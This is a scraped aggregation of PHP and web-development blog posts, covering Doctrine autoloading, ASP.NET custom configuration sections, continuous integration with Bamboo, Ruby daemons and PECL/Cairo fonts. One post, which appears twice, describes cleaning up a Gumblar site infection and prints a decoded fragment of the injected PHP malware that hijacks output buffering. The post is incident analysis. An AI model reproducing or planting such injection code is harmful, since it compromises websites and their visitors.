$_modelsDirectory is *private*. I can’t modify it in a subclass, nor is there a get() method on the Core class to access it. There’s a *set* method (setModelsDirectory()) but no get! So, I’m rather forced to go through modifying the Doctrine Core to get the behaviour I want, in the simplest form. I’ve been trying to followup on some other postings about getting autoload to work with Doctrine-generated models, but they seem incomplete (to me anyway) or suggest to modify how Doctrine generates its class names (doesn’t seem simple or straightforward to me at all). Having Doctrine core be able to deal with an array of paths to check for models would be the simplest, especially given that Doctrine *forces* this issue on you by generating classes in different directories by default.
Crux of the code is:
Doctrine/Core.php line 1142
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | if(is_array(self::$_modelsDirectory)) {
foreach(self::$_modelsDirectory as $dir) {
$class = $dir . DIRECTORY_SEPARATOR "/> |
Truncated by Planet PHP, read more at the original (another 4098 bytes)
Since its release, ASP.NET applications and components have looked to the web.config file to load any settings they need to function. However, adding custom settings to add flexibility and robustness to an application or component isn’t as straight forward as most would like. This article teaches you how to write the necessary classes to handle XML configuration elements and use the settings they contain within your code.
The .NET Framework provides a wide variety of settings that can be configured within web.config to modify the behavior of one or more built-in components within the application. For some developers, sticking solely with the settings provided by the .NET Framework is sufficient. But many more developers find they need to control a broader collection of settings ñ either for components (written by themselves or a third party), or simply a set of values they find themselves using throughout their application.
The web.config file does allow you to set custom settings with the <appSettings/> element, but it doesn’t allow anything other than simple key/value pairs. The following XML element is an example of a setting contained within <appSettings/>:
<add key="myKey" value="myValue"/>
Key/Value settings certainly can be helpful in many circumstances, but <appSettings/> settings simply aren’t flexible enough for robust or complex components or settings.
Thankfully, Microsoft enables developers to write classes that add programmatic access to custom configuration settings contained within web.config.
The Configuration SectionSettings within web.config are categorized into configuration sections. For example, the settings contained within the <system.web/> section pertains to ASP.NET settings for your application. You can change the authentication scheme of your app, as well as add or remove HTTP handlers to perform specific functions for specific file types. The <system.webServer/> section allows you to control many of IIS7ís settings without having direct access to IIS7.
A configuration section is required of all settings not contained within the <appSettings/> element. So itís a good idea to design the XML structure of your configuration settings before writing any code.
The configuration used as an example in this tutorial is for a component that retrieves RSS or Atom feeds. It doesn’t do any parsing, as that is beyond the scope of this tutorial. Instead of hard coding the list of feeds to retrieve, the component looks to its configuration to contain the names and URLs of the feeds to retrieve. The component is called FeedRetriever, and the desired XML structure of its configuration looks like this:
<feedRetriever>
<feeds>
<add name="Nettuts+" url=" [feeds.feedburner.com] cache="false"/>
<add name="Jeremy McPeak" url=" [www.wdonline.com] />
<add name="Nicholas C. Zakas" url=" [feeds.nczonline.net] />
</feeds>
</feedRetriever>
The <feedRetriever/> element defines by the configuration section. As a general rule, a configuration section should share the name of the the component it is designed for. The <feedRetriever/> elements only child is the <feeds/> element. Think of this element as a collection of feeds because it contains several <add/> elements (think of the Add() method that most collection objects have). The choice of using an element named "add" may seem strange at first, but the <add/> element is used throughout the majority of built-in configuration sections. So using it here simply follows the design practices put forth by Microsoft.
These <add/> elements use the name, url, and cache attributes to set certain settings for each feed. Naturally, the name and url attributes are required, but the cache attribute is not, and should default as true.
The above configuration is simple. The <feedRetriever/> element could be modified to contain another child, called <globalSettings/>, to contain settings that would apply to all feeds. The <add/> elements could also use additional attributes, such as cacheTime and requestFrequency, to control how long a feed is cached and how often it is requested from the remote host. The only limit to the extensibility and configurability is your imagination.
Writing the Configuration HandlerAfter designing the XML structure, the next step is to write a configuration handler to process the settings defined in the XML. The handler is primarily a class that inherits from System.Configuration.ConfigurationSection, but it also incorporates the use of other classes ñ such as classes that derive from System.Configuration.ConfigurationElement and System.Configuration.ConfigurationElementCollection.
Classes based on ConfigurationElement represent individual elements; it is the building block of a configuration section. Types that derive from ConfigurationElementCollection simply represent elements that contain more than one type of element. From the configuration listed above, the <feeds/> element is represented by a class that derives from ConfigurationElementCollection, and the <add/> elements are represented by a ConfigurationElement-based class.
Representing the <add/> ElementYouíll start with the <add/> element by representing it with a class called FeedElement (derived from ConfigurationElement). This class, and future configuration-related classes, reside in the FeedRetriever.Configuration namespace.
Every ConfigurationElement object functions as an indexer for its internal collection of property values. It is this internal collection, along with .NET attributes, that enables you to map the <add/> elementís attributes to the properties of the FeedElement class.
The following code is the complete code for the FeedElement class:
public class FeedElement : ConfigurationElement
{
[ConfigurationProperty("name", IsKey = true, IsRequired = true)]
public string Name
{
get { return (string)this["name"]; }
set { this["name"] = value; }
}
[ConfigurationProperty("url", IsRequired = true, DefaultValue = " [localhost")]] [RegexStringValidator(@" [https?\:] public string Url
{
get { return (string)this["url"]; }
set { this["url"] = value; }
}
[ConfigurationProperty("cache", IsRequired = false, DefaultValue = true)]
public bool Cache
{
get { return (bool)this["cache"]; }
set { this["cache"] = value; }
}
}
The ConfigurationElement class serves as an indexer to an underlying collection of configuration properties (hence the indexer notation of this[keyValue]). By using the this keyword and accessing the underlying property with a string key, you can get and set the property’s value without needing a private field to contain that data. The underlying property collection stores data as type Object; therefore, you have to cast the value as the appropriate type if you want to do anything with it.
The properties that represent XML attributes are decorated with ConfigurationPropertyAttribute attributes. The first parameter of of the ConfigurationPropertyAttribute attribute is the name of the XML attribute found within the <add/> element. Following the first parameter are a set of any number of named parameters. The following list is a complete list of possible parameters:
The default value of " [localhost"] for the Url property is not an error. The .NET Framework also grants you the ability to decorate the properties with validator attributes ñ such as the RegexStringValidatorAttribute decorating the Url property. This validator takes the value of the Url property and validates it against the regular expression provided to the attribute; however, it also validates the Url property before it contains the data from the XML element. The default value of the Url property is an empty string when a FeedElement object is first created. An empty string does not validate against the provided regular expression, so the validator throws an ArgumentException before any data is loaded from the XML file.
There are two possible workarounds for this problem. The first approach modifies the regular expression to allow empty strings. The second approach assigns a default value to the property. It does not matter in this particular case. Even with a default value, the url attribute is still a required attribute in the <add/> element – the application throws a ConfigurationErrorsException if an <add/> element does not have a url attribute.
There are several other validator attributes in the System.Configuration namespace to validate data assigned to properties and the XML attributes they map to. The following lists all of the validator attributes within the System.Configuration namespace:
With the exception of the CallbackValidatorAttribute, you do not have to create corresponding validator objects to use in conjunction with the validator attributes. The .NET runtime creates the appropriate validator objects for you, and the attributes contain the needed parameters to configure the validator objects.
This small bit of code is all that is required to programmatically represent individual <add/> elements. The next step is to write a class that represents the <feeds/> element.
Writing an Element Collection ClassThe XML representation of the <feeds/> element is that of a collection of feed elements. Likewise, the programmatic representation of the <feeds/> element is a collection of FeedElement objects. This class, called FeedElementCollection, derives from the abstract ConfigurationElementCollection class.
The ConfigurationElementCollection class contains several members, but only two are marked as abstract. Thus, the simplest ConfigurationElementCollection implementation has two methods:
With that in mind, view the complete code for the FeedElementCollection class below:
[ConfigurationCollection(typeof(FeedElement))]
public class FeedElementCollection : ConfigurationElementCollection
{
protected override ConfigurationElement CreateNewElement()
{
return new FeedElement();
}
protected override object GetElementKey(ConfigurationElement element)
{
return ((FeedElement)element).Name;
}
}
A ConfigurationCollectionAttribute decorates this collection class. The first parameter to the attribute is a Type object ñ the type of the items the collection contains. In this case, it’s the FeedElement type. After the type parameter are several named parameters you can pass to the attribute. These are listed below:
Leaving these named parameters blank defaults them to <add/>, <clear/>, <remove/>.
Writing the FeedRetreiverSection ClassThe final class, called FeedRetrieverSection, derives from ConfigurationSection and represents the <feedRetriever/> element. This is the simplest class of the configuration classes, as the only requirement it must meet is to provide programmatic access to the <feeds/> element (the FeedElementCollection).
public class FeedRetrieverSection : ConfigurationSection
{
[ConfigurationProperty("feeds", IsDefaultCollection = true)]
public FeedElementCollection Feeds
{
get { return (FeedElementCollection)this["feeds"]; }
set { this["feeds"] = value; }
}
}
It’s one property, of type FeedElementCollection and called Feeds, is decorated with a ConfigurationPropertyAttribute ñ mapping it to the <feeds/> element.
Modifying web.configWith the configuration handler complete, you can add the appropriate elements to web.config. The <feedRetriever/> section can go anywhere in the file as long as itís a direct descendent of the root element (the <configuration/> element). Placing it within another configuration section results in an error.
The next step is adding a <section/> child element to <configSections/>. The <section/> element has two attributes of interest:
The following <section/> element is what you add to a web.config file, under <configSections/>, when the configuration classes do not reside in a separate assembly (as is the case in the code download):
<section name="feedRetriever" type="FeedRetriever.Configuration.FeedRetrieverSection"/>
Now your application is properly configured to use the FeedRetrieverSection, FeedElementCollection, and FeedElement classes to grant you programmatic access to the custom settings contained within the <feedRetriever/> configuration section in web.config. So how do you access these settings from within your code?
Accessing Configuration Data from CodeThe System.Configuration namespace contains a static class called ConfigurationManager. If you use the <connectionStrings/> section to house your connection strings, you are at least familiar with ConfigurationManager. It has a method called GetSection(), which accepts a string containing the name of the configuration section to retrieve. The following code demonstrates this (assume using System.Configuration is at the top of the code file):
FeedRetrieverSection config = ConfigurationManager.GetSection("feedRetriever") as FeedRetrieverSection;
The GetSection() method returns a value of type Object, so it must be cast to whatever type the handler is for that section. This code retrieves the section named feedRetriever and casts the result as FeedRetrieverSection. Once you have the object, you can start accessing configuration data programmatically.
To give you an idea of how configuration settings can be used within your component or application, the following code is a very basic implementation of the FeedRetriever component.
public class FeedRetriever
{
public static FeedRetrieverSection _Config =
ConfigurationManager.GetSection("feedRetriever") as FeedRetrieverSection;
public static void GetFeeds()
{
foreach (FeedElement feedEl in _Config.Feeds)
{
// make request
[HttpWebRequest] request = [HttpWebRequest)WebRequest.Create(feedEl.Url);] [HttpWebResponse] response = [HttpWebResponse)request.GetResponse();]
if (response.StatusCode == [HttpStatusCode.OK)] {
string feedData = String.Empty;
using (StreamReader reader =
new StreamReader(response.GetResponseStream()))
{
feedData = reader.ReadToEnd();
}
if (feedEl.Cache)
{
// filename of cache file
string filename = String.Format("{0}_{1}.xml",
feedEl.Name, DateTime.Now.Ticks);
// cache file
using (StreamWriter writer =
new StreamWriter(@"C:\" + filename))
{
writer.Write(feedData);
}
}
}
}
}
}
First, a static variable called _Config, of type FeedRetreiverSection, is declared and assigned a value by calling ConfigurationManager.GetSection(). Making the variable static is a design choice. By doing so, all members of the class, either instance or static, would have access to the configuration settings without having to make multiple calls to GetSection().
Once you retrieve the section handler with GetSection(), you have complete access to objects created from your handler classes. The first line of GetFeeds() is a for each loop that loops through all FeedElement objects contained with the FeedElementCollection object returned by the Feeds property. This gives you direct access to those FeedElement objects ñ making it easy to access each feed’s name, URL, and cache settings.
During each iteration of the loop, the method makes a request using the FeedElement objectís Url property. If the request results in a success, the feedís data is retrieved and stored in the feedData variable. Then the code checks the FeedElement objectís Cache property to determine whether or not to cache the feed. Caching the the feed involves constructing a filename by using the FeedElement objectís Name property and the current date and time. Then a StreamWriter object creates the file and writes the feedís data to it.
As you can see, using the configuration section handler classes is key to retrieving and using custom settings residing in web.config. It certainly requires more time and effort from you, but it definitely makes your application or component much easier to configure for yourself and other developers.
Sell your .NET Components on CodeCanyon!
Did you know that we have a .NET category on CodeCanyon. If you’re a skilled .NET dev, why not sell your scripts/components/controls as an author, and earn 40-70% of every sale?
Over the years I’ve played key roles in many software projects. Although I have had many successes there are only a few which were truly memorable. On average I probably do a very exciting project every three years. I would say that’s above industry standards :)
Last week we released Zend Server 5 and it is another memorable moment for me. Not because the process of getting it out the door was all smooth (it sometimes felt like pulling teeth) or because it’s a new major version of Zend Server.
It’s because the new code tracing feature gets me very excited and is a kickass technology. Code tracing solves real problems for developers and IT operation teams. One of the biggest challenges in managing production environments is troubleshooting problems. Whether it is an application that runs transactions against a database, calls Web Services, or interoperates with a Java app server, being able to reproduce the problem after the fact is very often hard and sometimes just impossible. Working on such problems has always killed my productivity and reduced the amount of time I could truly be focused on writing new code.
This is where code tracing comes in. It’s a very cool technology that is optimized to run in production and can keep track of what’s happening deep within the PHP application. It hooks into our event system that tracks DB events, slow scripts, errors, and more. When something goes wrong it can dump a snapshot of the whole execution flow – function calls, arguments, return values, memory consumed, duration – from the beginning of the request to the point where the error occurs. This enables developers to analyze and triage the problem after the fact – easily and efficiently. Best of all – while it’s targeted at production (high performance and robust) it’s also extremely useful during development and testing.
What makes this feature even cooler is that Adobe worked closely with us to build a really nice Flex UI ( [static.zend.com] ) for analyzing code tracing. It feels good to have stable and efficient production technology, but it’s even better when there’s visualization that enables the users to interact with the data quickly and effectively. Thanks to Adobe for helping us build a superb UI! This is just the first version of the UI – the sky’s definitely the limit with where this can go.
I am proud of what we’ve built and the people who participated in building it. I have no doubt that it will lead to tremendous time savings for PHP shops and make developers’ lives significantly easier and happier. I just hope I don’t need to wait another three years now for the next big thing… I bet not!
Just about finished a gumblar cleanup, for a small Hong Kong company. This is not the first crack I've seen in the last few months, I fixed another server last month that got ssh brute force attacked. It looks like cracking is on the up, so if you need help fixing a site, by someone who knows what they are doing, and at the same time you will help out a number of open source projects - give me a bell (alan@akbkhome.com)
The gumblar (or derivative) attack I was looking at was quite interesting, the first indication the owner got was that browsers kept showing the "Reported Attack Site!" or "Warning: Visiting this site may harm your computer" message. So I get the call to find out what's going on.
When you ignore the message and go through to the site, look at the html the first thing you see is that there is a <script> tag added just before the body pointing to a gifimg.php file. After that you have a long hunt around google to find out what's going on.
At the time of writing, the exact attack vector does not look like it's been confirmed, but is either a brute force ftp attack (I think is quite unlikely considering the username/pass combo on this sample site). Or more likely a PDF desktop attack to a machine that has access to the site.
My first assumption was that it was a Wordpress exploit, but the more I examined the situation, it seemed less likely. However I highly suspect that the PDF attack vector having got the ftp credentials goes looking for standard locations of wordpress installations (eg. '/wordpress) - so hint one is not to install your software in such obvious places.
Cleaning it out
The first step in sorting out the mess was to mirror the original site, with virus and all onto a offline location. (both as a precaution that if we broke things we had a backup, and so we can use this as a source to replace the hacked files with new ones).
After that it was a matter of googling for details of the attack and writing a gumblar cleaner script. It basically checks for infected file types, then preg_replaces out the hacked additions. These include
I used ftpput, and check return values, to ensure that each file was successfully replaced before overwriting the local copy and making a nice copy for my reference into the virus folder.
Inside out of the attack.
The infection is quite interesting, and in this case was quite painful, due to the nature of how Wordpress publishes files.
Initially I suspect the core code in the PDF actually has some ftp code which will try and modify standard set of PHP files to add a small base64_encode script.. (phplist, and wordpress appear to be core targets, and I'm sure there are more.)
This is a snippet of some of the code that get's added (it's all eval, base64_encoded - read up on my blog post about idiot ways to protect your PHP code using this idea.)
This is a snippet of the decoded script
if(!function_exists('kqyf')){
function kqyf($s){
... infect the page stuff goes here...
}
function kqyf2($a,$b,$c,$d){
global$kqyf1;
$s=array();
if(function_exists($kqyf1))
call_user_func($kqyf1,$a,$b,$c,$d);
foreach(@ob_get_status(1)as$v)
if(($a=$v['name'])=='kqyf')
return;
elseif($a=='ob_gzhandler')
break;
else
$s[]=array($a=='default output handler'?false:$a);
for($i=count($s)-1;$i>=0;$i--){
$s[$i][1]=ob_get_contents();
ob_end_clean();
}
ob_start('kqyf');
for($i=0;$i<count($s);$i++){
ob_start($s[$i][0]);
echo $s[$i][1];
}
}
}
$kqyfl=(($a=@set_error
Truncated by Planet PHP, read more at the original (another 1041 bytes)

On ZendCasts.com today there's a new screencast aimed at showing off custom Zend_Form decorators for your Zend Framework application.
This little video tutorial should set you up for building your own custom Zend_Form decorators in 15 minutes. I'll show you how you can make the necessary class and have it easily added to your existing Zend_Form_Decorator configuration.
If you'd like to follow along with the tutorial as he walks through it you can grab a copy of the source or, for other examples, look through their repository.

Mike Willbanks as put together a new post talking about continuous integration with Atlassian's Bamboo software and getting it to cooperate with the needed PHP tools to round out your deployment (like PHP Depend, PHP Code Sniffer, PHP Mess Detector and PHPUnit).
Continuous integration is all the rage these days; you are unit testing your code are you not? During some consulting in January with the help of Sebastian Bergmann, from thePHP.cc, we setup continuous integration utilizing Atlassian Bamboo and received training on PHPUnit. Using Atlassian Bamboo for continuous integration will take you a bit to setup, however, I have found it to be an invaluable tool when utilizing the Atlassian stack (JIRA, Confluence, Crucible, Bamboo and Crowd).
He walks you through the process of getting the PHP tools installed (from PEAR packages) and includes links to two Bamboo plugins to help gather some metrics on the deployment process. He talks about the actual build tool (they went with ant), setting up the locations for where output and external dependencies will be stored and includes the ant build.xml file they use to tie it all together.

On the Ibuildings techPortal site today they've published the latest episode in their Dutch PHP Conference 2009 podcast series. This time it's Eli White's talk on highly scalable web applications.
A constant pariah on web applications is scaling once you become popular. It's not always an easy task (ok, never). This talk will go into depth on a few of the most common techniques for making your website scalable. So that you can leave with enough knowledge to apply this, if needed. Or just to plan ahead so that your future projects don't preclude taking these steps when needed.
You can listen this new episode in one of two ways - either via the in-page player or by just downloading the mp3 directly and listening to it in your audio player of choice.

On his TellingMachine.com blog today Klaus Graefensteiner has a few things you should consider when selecting the right PHP version for your Windows+IIS server.
Questions he suggests will get you started down the right path are things like:
If you're looking to run PHP 5.2+ on Windows, you have two main choices - the VC9 version or the VC6 version.
This article showcases 30+ stunning web designs that make use of the incredible watercolor effect. The showcase is followed up with a small selection of links sharing a few tutorials and watercolor textures and brushes that you can use in your own designs.
Viget Inspire
Viget Inspire is one of the most recognized pieces of watercolor-style web design to date; there aren’t many web designers who haven’t seen it! The style is absolutely stunning, and the combination of the watercolored background and digital foreground and typography mixes incredibly well together.
Deborah Cavenaugh
Web Designer Wall
Web Designer Wall is yet another fantastic web design that is well known for its use of watercolor effects. The stunning watercolored patterns and the whole hand-made feel of the site makes it visually appealing, especially for their target audience: the creative industry.
Toby Powell
Boompa Shop
Boompa Shop have merged modern web design, such as the minimalistic footer, with some great watercolored “doodles” to create a beautiful and very unique effect for the web-based shop design.
Agami Creative
Corvus Design Studio
Corvus Design Studio have used a similar layout style to those typically used in portfolio designs, however instead of keeping it simple and plain to draw attention to their work, they’ve made the portfolio itself a piece of art, which is probably more than enough to persuade any customer to choose them for their latest project.
The Black Keys
Erguvan Platin Evleri
Erguvan Platin Evleri is one of the first to combine two popular trends in the web design industry: abstract watercolor effects and three-dimensional models. In this case the styles work very well together and are pleasing to look at; let’s hope we see more like this!
Davide Savelli
Colour of Air
Colour of Air is the first website in this showcase that uses very subtle watercolor in their design. To bring the content area below the header to life, they have used a low-opacity watercolor texture beneath the header and under the different article areas. The use of rendered noise in the design combined with subtle watercolor works great.
Sergio Design Trends
Sunrise Design
You don’t see vivid watercolor effects very often, mainly because it is quite difficult to pull off. Sunrise Design, however, pull off the effect very well, using bright greens and yellows in the background of their site design to create a happy and joyful feel.
Big Cartel
Volkswagen Escape
There are some huge and very well known companies making the most of the watercolor trend, too, such as the ever-popular Volkswagen car brand. They use a subtle, washed-out watercolor landscape in the background of their web design.
The Croquis
Saint Charles Maryland
Saint Charles Maryland, like several others in this showcase, used a light watercolor wash in the background of their design. This time, however, it is being used in the main content section of the design instead of the main background image. It’s an interesting concept that is pulled off well and goes with their corporate image.
Deep Roots and Wide Wings
Toggle
Toggle is another company that is well known in the creative industry for its fantastic use of watercolor in their website design. Unlike others, the watercolor effect seems to be randomly placed in the center of the background, rather than being used to produce a full background pattern or image (such as a landscape) in most of the other designs. It adds a great “oomph” to the site and brings out the lovely blue color scheme that has been used in the design.
Small White Bear
Brad Candullo
Brad Candullo uses watercolor in his portfolio design to add a little extra something to the background of his header, mainly to help draw attention to his website’s logo. The use of watercolor being used with so many other textures such as subtle grunge and wood is pulled off well and looks great!
Five Points Interactive
4PSD
4PSD is one of the most minimalistic designs in this showcase, simply making use of a light watercolor wash to separate the header area from the rest of the design. The colors go well with the site’s overall color scheme, and the use of whitespace only makes the watercolor effect look better!
K4 Laboratory
Binocle
Binocle is another site that uses a vivid watercolor effect in their design, this time using a very hot pink/red that slowly merges off to a deep pink/purple and magically transforms into a million birds. The effect is great and it really helps bring out the true power of the pink color used in the rest of the design.
Happy Cog
Imaginary Moments
The use of watercolor in this website design is superb! It’s very unique compared to the rest of the designs in this showcase, and is one of my personal favorites. I love how it has been merged with various other images and textures, and just the overall feel of the site.
Lebloe
Weberica
Weberica is possibly the grungiest watercolor styled web design in the showcase. It’s dark, olive green colors bring out the lovely gradient effect used in the logo, and those pink flowers help to bring out the small amount of red typography that is used in the rest of the design.
Football Made In Africa
Tylor J. Reimer
Tylor J. Reimer’s portfolio design is so simple yet so beautiful. The bright splashed watercolor effect combined with the hand-sketched dog is wonderful, and the low opacity neutral content background help to separate the illustration from the website’s content.
Helpful ResourcesDid you know that you can earn up to $600 for writing a PLUS tutorial and/or screencast for us? We’re looking for in depth and well-written tutorials on HTML, CSS, PHP, and JavaScript. If you’re of the ability, please contact Jeffrey at nettuts@tutsplus.com.
Please note that actual compensation will be dependent upon the quality of the final tutorial and screencast.
Achtung! Neuer Termin: 04. März 2010
On a number of occasions I have found myself needing to assemble a daemon process for some type or processing done using Ruby. Each time I roll things a little different and I finally started to wonder if someone had already put together tools for doing the daemon parts. After some quick digging I ran into Daemon-Kit and after adding it together with a couple other tools it seems like what I've needed. I've put together a few recipes here to help guide others who might be looking for something similar.
Creating a simple daemon is easy. This is a simple walk through so look at the project's documentation for much more information. First you will need to get the gem installed:
gem install daemon-kit
After the gem is installed you create a daemon with the following command:
daemon-kit asimple
Now you have some generated code in the asimple directory. In that directory you will find a README that tells you want each directory is used for. The main file to look at for this example is:
libexec/asimple-daemon.rb
A fresh file will have a lot of comments in it pointing you in the right direction. Here is a modified version where I'm displaying the contents of /tmp over and over:
DaemonKit::Application.running! do |config|
end
loop do
DaemonKit.logger.info Dir.entries('/tmp/').join(' ')
sleep 5
end
To run the daemon you would use a command like the following:
RUBYOPT=rubygems ./bin/asimple
The documentation found in the project is great so look there for more information. There is a lot of flexibility built in like multiple environment support and command line options. The daemons and angels blog post is educational and worth a read for more on the basics of daemon-kit.
After experimenting for a while I think I may want to go back and redo the live segmenter so that it uses daemon-kit instead of my hand rolled process. That is probably a good example of where the simple functionality comes in.
An event driven daemon with RabbitMQ
What tilted me towards looking into Ruby daemon options was actually another event driven process I was thinking about. As it turns out daemon-kit supports creating evented daemons as well. I picked RabbitMQ for the following example but anything that supports AMQP should work. I'm going to assume you have RabbitMQ installed already.
First off you need to install the AMQP gem:
gem install eventmachine gem install amqp
At this point you might want to verify that you can connect to your MQ server using some AMQP examples.
To generate an event based daemon use the following command:
daemon-kit -i amqp eventbased
For some reason the generated code didn't work right out of the box for me but a slight modification fixed the issue. I added the following to the top of the config/environment.rb file:
require 'amqp' require 'mq'
Again the file generated in libexec is the starting point and gives you good hints as to where you want to start. I've modified my example above to take a directory to gather the contents of and respond with those contents as another message:
DaemonKit::Application.running! do |config|
end
DaemonKit::AMQP.run do
amq = ::MQ.new
amq.queue('dir_request').subscribe(:ack => true) do |h, msg|
h.ack # just ack the message
DaemonKit.logger.debug "Received message: #{msg.inspect}"
amq.queue('dir_response').publish(Dir.entries(msg).join(' '))
end
end
One thing to note is that I've set the message queue to require an acknowledgement for each message. I did this to simulate a process that requires that each request be executed once. Now all that is needed is a simple application to produce request messages and display the response:
require 'rubygems
Truncated by Planet PHP, read more at the original (another 7600 bytes)
Just about finished a gumbar cleanup, for a small Hong Kong company. This is not the first crack I've seen in the last few months, I fixed another server last month that got ssh brute force attacked. It looks like cracking is on the up, so if you need help fixing a site, by someone who knows what they are doing, and at the same time you will help out a number of open source projects - give me a bell (alan@akbkhome.com)
The gumbar (or derivative) attack I was looking at was quite interesting, the first indication the owner got was that browsers kept showing the "Reported Attack Site!" or "Warning: Visiting this site may harm your computer" message. So I get the call to find out what's going on.
When you ignore the message and go through to the site, look at the html the first thing you see is that there is a <script> tag added just before the body pointing to a gifimg.php file. After that you have a long hunt around google to find out what's going on.
At the time of writing, the exact attack vector does not look like it's been confirmed, but is either a brute force ftp attack (I think is quite unlikely considering the username/pass combo on this sample site). Or more likely a PDF desktop attack to a machine that has access to the site.
My first assumption was that it was a Wordpress exploit, but the more I examined the situation, it seemed less likely. However I highly suspect that the PDF attack vector having got the ftp credentials goes looking for standard locations of wordpress installations (eg. '/wordpress) - so hint one is not to install your software in such obvious places.
Cleaning it out
The first step in sorting out the mess was to mirror the original site, with virus and all onto a offline location. (both as a precaution that if we broke things we had a backup, and so we can use this as a source to replace the hacked files with new ones).
After that it was a matter of googling for details of the attack and writing a gumbar cleaner script. It basically checks for infected file types, then preg_replaces out the hacked additions. These include
I used ftpput, and check return values, to ensure that each file was successfully replaced before overwriting the local copy and making a nice copy for my reference into the virus folder.
Inside out of the attack.
The infection is quite interesting, and in this case was quite painful, due to the nature of how Wordpress publishes files.
Initially I suspect the core code in the PDF actually has some ftp code which will try and modify standard set of PHP files to add a small base64_encode script.. (phplist, and wordpress appear to be core targets, and I'm sure there are more.)
This is a snippet of some of the code that get's added (it's all eval, base64_encoded - read up on my blog post about idiot ways to protect your PHP code using this idea.)
This is a snippet of the decoded script
if(!function_exists('kqyf')){
function kqyf($s){
... infect the page stuff goes here...
}
function kqyf2($a,$b,$c,$d){
global$kqyf1;
$s=array();
if(function_exists($kqyf1))
call_user_func($kqyf1,$a,$b,$c,$d);
foreach(@ob_get_status(1)as$v)
if(($a=$v['name'])=='kqyf')
return;
elseif($a=='ob_gzhandler')
break;
else
$s[]=array($a=='default output handler'?false:$a);
for($i=count($s)-1;$i>=0;$i--){
$s[$i][1]=ob_get_contents();
ob_end_clean();
}
ob_start('kqyf');
for($i=0;$i<count($s);$i++){
ob_start($s[$i][0]);
echo $s[$i][1];
}
}
}
$kqyfl=(($a=@set_error_ha
Truncated by Planet PHP, read more at the original (another 1038 bytes)

Doru Moisa has written up a new post with some benchmarks comparing static calls versus singleton calls for a few different situations.
n the past several months I've been working with a rather large application built with symfony. I noticed that symfony makes heavy use of the Singleton pattern (other frameworks, like Zend do that too); everywhere in the code [...] Notice the amount of code needed by the Singleton pattern. Except the [shown] method, all the code in the class makes sure you have only one instance at any time during the execution.
He shows how to replace the standard singleton logic with something more specific and decides to test the two methods, seeing which of them can handle the most requests per second. His sample code is included for both the scripts called and the test script run. In all instances, the static call won out over the singleton instance easily. Even when tested with the Facebook compiler, the results were still the same.
Continuous integration is all the rage these days; you are unit testing your code are you not? During some consulting in January with the help of Sebastian Bergmann, from thePHP.cc, we setup continuous integration utilizing Atlassian Bamboo and received training on PHPUnit.
Using Atlassian Bamboo for continuous integration will take you a bit to setup, however, I have found it to be an invaluable tool when utilizing the Atlassian stack (JIRA, Confluence, Crucible, Bamboo and Crowd).
OverviewThis posting assumes the following:
This posting will go over the following:
Welcome to the voyage of continuous integration with Bamboo, now that you are ready, lets get started.
Installing the PHP ToolsWe will assume using the PEAR installer for installing all of the tools.
PHP Dependpear channel-discover pear.pdepend.org
pear install pdepend/PHP_Depend-beta
pear channel-discover pear.phpunit.de
pear install phpunit/PHP_CodeBrowser-alpha
pear install PHP_CodeSniffer
pear install phpunit/phpcpd
pear channel-discover pear.phpmd.org
pear install --alldeps phpmd/PHP_PMD-beta
pear install phpunit/PHPUnit
There are a few plugins that we will utilize to capture build metrics. You will want to install these to follow along:
Plan DetailsAssuming that you are new to Bamboo and have not created a build as of yet, you will need to login to Bamboo and then click on “Create Plan” in the navigation. Here you will find a few options, most of these are self explanatory. Just remember that you can have several different builds so you may want to specify if it is a trunk build or a specific component build. Once you are completed, click on next.
Source RepositoryPut in the details to your source code repository. If the source code repository is not available, there is likely a plug-in for it available. Download it, restart bamboo, and continue to this step. We do not force a clean build every time, this is due to some additional configuration that we have set for an environment in a configuration file and to reduce the amount of time to do a build. Lastly, we do polling to detect if we need to do a build. This helps us because we do not want a 5 minute build during every change but rather within 10 minutes of any change. This helps reduce building too frequently or causing a potential for a race condition (assuming there was a bug in Bamboo). Go to the next step…
BuilderLet’s use ant for the build process. Do not worry about this for now, we will get more into the ant build script later on. State the build file as “build.xml” which will live in the main root of the source code (you could place this elsewhere but for simplicity sakes lets put it here and assume you’re not storing the htdocs at the root – please tell me you’re not). Under target place “clean build” since we will do some manual cleanup of existing build information.
Under the following questions you will want to fill out information:
Truncated by Planet PHP, read more at the original (another 21234 bytes)

In a new post to her blog today Lorna Mitchell has a few suggestions for handling database patching when your application starts to outgrow its simple roots.
One problem that seems to need solving too often is how to keep databases in sync across different platforms, different developers working on a project, and deploying database changes along with code changes. There are lots of ways of approaching this, none of them are really excellent however and personally I tend to err on the side of simple being better. Fewer dependencies means a solution more likely to work on every platform (and no additional complications for the live platform). Usually this means patch files of some kind.
She outlines her usual approach - creating a table with metadata and version information, export the structure of the database in push it into a row, creating numbered patch files and keeping it all stashed away in versioned source control for easy access. Check out the comments for some more interesting ideas.

On LifeHacker.com there's a tutorial on how you can use a simple PHP script running on a remote server to tell Google Voice which is the best phone to forward your calls to. The method requires the use of an Android phone, though.
I figure the only way Google Voice could be improved is if it magically knew where I am and made my phones ring accordingly'"so that's exactly what I made it do. You can, too, with an Android phone, the Locale app, and a web server. The overall goal: have Google Voice know which phones to ring, based on your current location or situation.
You'll need a Google Voice account (obviously), some software for your phone and a remote web server running PHP 5 (with cURL and json functionality). You can then use the PHP script by passing parameters as to which phones to turn off and on and use the Locale tool to create the "situations" where it needs to make the switch.
(This is just a quick note to get some information out there for reference, I am adding it to the PHP manual as well!)
Currently, in PECL/Cairo the only way to draw text is the referred to as the "toy" text API, which is a very basic way of handling text compared to the facilities available in the Cairo library itself. However, it's sufficient for most purposes that I've come across so far. In version 0.1.0 of PECL/Cairo, there was only one way to choose what font you wished to use, which was the CairoContext::selectFontFace() method. You pass a string to this method with the name of the font you want, along with the optional slant and weight parameters. This then invokes your system's font handling to find the font you're after, or an alternative if it's not available, so you need to have the font you want installed into your system's font library.This is occasionally not handy.
In version 0.2.0 FreeType support was added. It allows you to choose any font file you'd like, as long as PHP's streams API can find it. Yes, this means 'http://' streams, but I wouldn't recommend it.
<?php
/* Set up the surface, and make the background white */
$s = new CairoImageSurface(CairoFormat::ARGB32, 300, 100);
$c = new CairoContext($s);
$c->setSourceRgb(1, 1, 1);
$c->paint();
/* Draw the text using the Vollkorn font, from
[friedrichalthausen.de] */
$c->setSourceRGB(0, 0, 0);
$c->moveTo(10, 60);
$f = new CairoFtFontFace(dirname(__FILE__) . "/vollkorn.otf");
$c->setFontFace($f);
$c->setFontSize(50);
